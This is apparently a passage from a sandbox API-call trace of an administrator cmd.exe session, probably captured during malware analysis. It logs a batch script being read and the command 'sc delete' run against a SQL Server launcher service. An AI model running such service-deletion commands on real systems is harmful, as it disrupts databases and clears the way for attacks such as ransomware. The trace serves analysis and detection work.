lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="Fnt$WOLTERSKLUWER\"\n") returned 1 [0077.097] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.097] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.097] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="Dt$WOLTERSKLUWER\"\n") returned 1 [0077.097] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.097] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.097] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="L$WOLTERSKLUWER\"\n") returned 1 [0077.097] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.097] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.097] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="aWOLTERSKLUWER\"\n") returned 1 [0077.097] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.097] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.097] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="uOLTERSKLUWER\"\n") returned 1 [0077.097] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.097] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.097] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="nLTERSKLUWER\"\n") returned 1 [0077.097] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.097] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.097] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="cTERSKLUWER\"\n") returned 1 [0077.097] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.098] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.098] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.098] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="hERSKLUWER\"\n") returned 1 [0077.098] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.098] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.098] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.098] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="eRSKLUWER\"\n") returned 1 [0077.098] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.099] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.099] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.099] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="rSKLUWER\"\n") returned 1 [0077.099] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.099] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.099] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.099] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="$KLUWER\"\n") returned 1 [0077.099] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.099] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.100] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="OLUWER\"\n") returned 1 [0077.100] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.100] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.100] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e358, cchWideChar=1 | out: lpWideCharStr="PUWER\"\n") returned 1 [0077.100] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.100] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.100] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35a, cchWideChar=1 | out: lpWideCharStr="TWER\"\n") returned 1 [0077.100] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.100] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.100] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35c, cchWideChar=1 | out: lpWideCharStr="IER\"\n") returned 1 [0077.100] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.100] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.100] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35e, cchWideChar=1 | out: lpWideCharStr="MR\"\n") returned 1 [0077.100] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.100] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.100] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e360, cchWideChar=1 | out: lpWideCharStr="A\"\n") returned 1 [0077.100] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.100] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.101] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e362, cchWideChar=1 | out: lpWideCharStr="\"\n") returned 1 [0077.101] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.101] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.101] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e364, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0077.101] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.101] GetFileType (hFile=0xb8) returned 0x3 [0077.101] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.101] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.101] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.101] GetFileType (hFile=0x120) returned 0x3 [0077.101] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.101] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"MSSQLFDLauncher$OPTIMA\"\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"MSSQLFDLauncher$OPTIMA\"\n", lpUsedDefaultChar=0x0) returned 36 [0077.101] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x23, lpOverlapped=0x0) returned 1 [0077.101] GetProcessHeap () returned 0x240000 [0077.101] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0077.101] GetProcessHeap () returned 0x240000 [0077.101] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0077.101] GetProcessHeap () returned 0x240000 [0077.101] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0077.101] GetProcessHeap () returned 0x240000 [0077.101] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0077.101] GetProcessHeap () returned 0x240000 [0077.101] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x52) returned 0x2597e0 [0077.101] GetConsoleOutputCP () returned 0x1b5 [0077.102] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.102] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.102] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.102] GetProcessHeap () returned 0x240000 [0077.102] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0077.102] GetProcessHeap () returned 0x240000 [0077.102] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x58) returned 0x259840 [0077.102] GetProcessHeap () returned 0x240000 [0077.102] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0077.102] SetErrorMode (uMode=0x0) returned 0x1 [0077.102] SetErrorMode (uMode=0x1) returned 0x0 [0077.102] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0077.102] SetErrorMode (uMode=0x1) returned 0x1 [0077.102] GetProcessHeap () returned 0x240000 [0077.102] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0077.102] GetProcessHeap () returned 0x240000 [0077.102] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0077.102] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0077.103] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0077.103] GetProcessHeap () returned 0x240000 [0077.103] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0077.103] GetProcessHeap () returned 0x240000 [0077.103] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0077.103] GetProcessHeap () returned 0x240000 [0077.103] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0077.103] GetProcessHeap () returned 0x240000 [0077.103] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0077.103] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0077.103] GetProcessHeap () returned 0x240000 [0077.103] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0077.103] GetProcessHeap () returned 0x240000 [0077.103] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0077.103] GetProcessHeap () returned 0x240000 [0077.103] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0077.103] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.103] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.103] GetLastError () returned 0x2 [0077.103] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.103] GetLastError () returned 0x2 [0077.103] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.104] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0077.104] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0077.104] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.104] GetLastError () returned 0x2 [0077.104] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0077.104] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0077.104] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0077.104] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0077.104] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.104] GetProcessHeap () returned 0x240000 [0077.104] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0077.104] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.105] GetProcessHeap () returned 0x240000 [0077.105] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xbe) returned 0x259180 [0077.105] GetProcessHeap () returned 0x240000 [0077.105] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xbe [0077.105] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"MSSQLFDLauncher$OPTIMA\"") returned 1 [0077.105] GetProcessHeap () returned 0x240000 [0077.105] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0077.105] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0077.105] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0077.105] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0077.105] GetProcessHeap () returned 0x240000 [0077.105] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0077.105] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0077.106] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0077.107] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0077.107] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0077.107] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0077.107] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.107] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.107] GetProcessHeap () returned 0x240000 [0077.107] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0077.107] GetProcessHeap () returned 0x240000 [0077.107] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0077.107] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"MSSQLFDLauncher$OPTIMA\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"MSSQLFDLauncher$OPTIMA\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete \"MSSQLFDLauncher$OPTIMA\"", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0xacc, dwThreadId=0xbd4)) returned 1 [0077.110] CloseHandle (hObject=0x50) returned 1 [0077.110] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0077.110] GetProcessHeap () returned 0x240000 [0077.110] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | 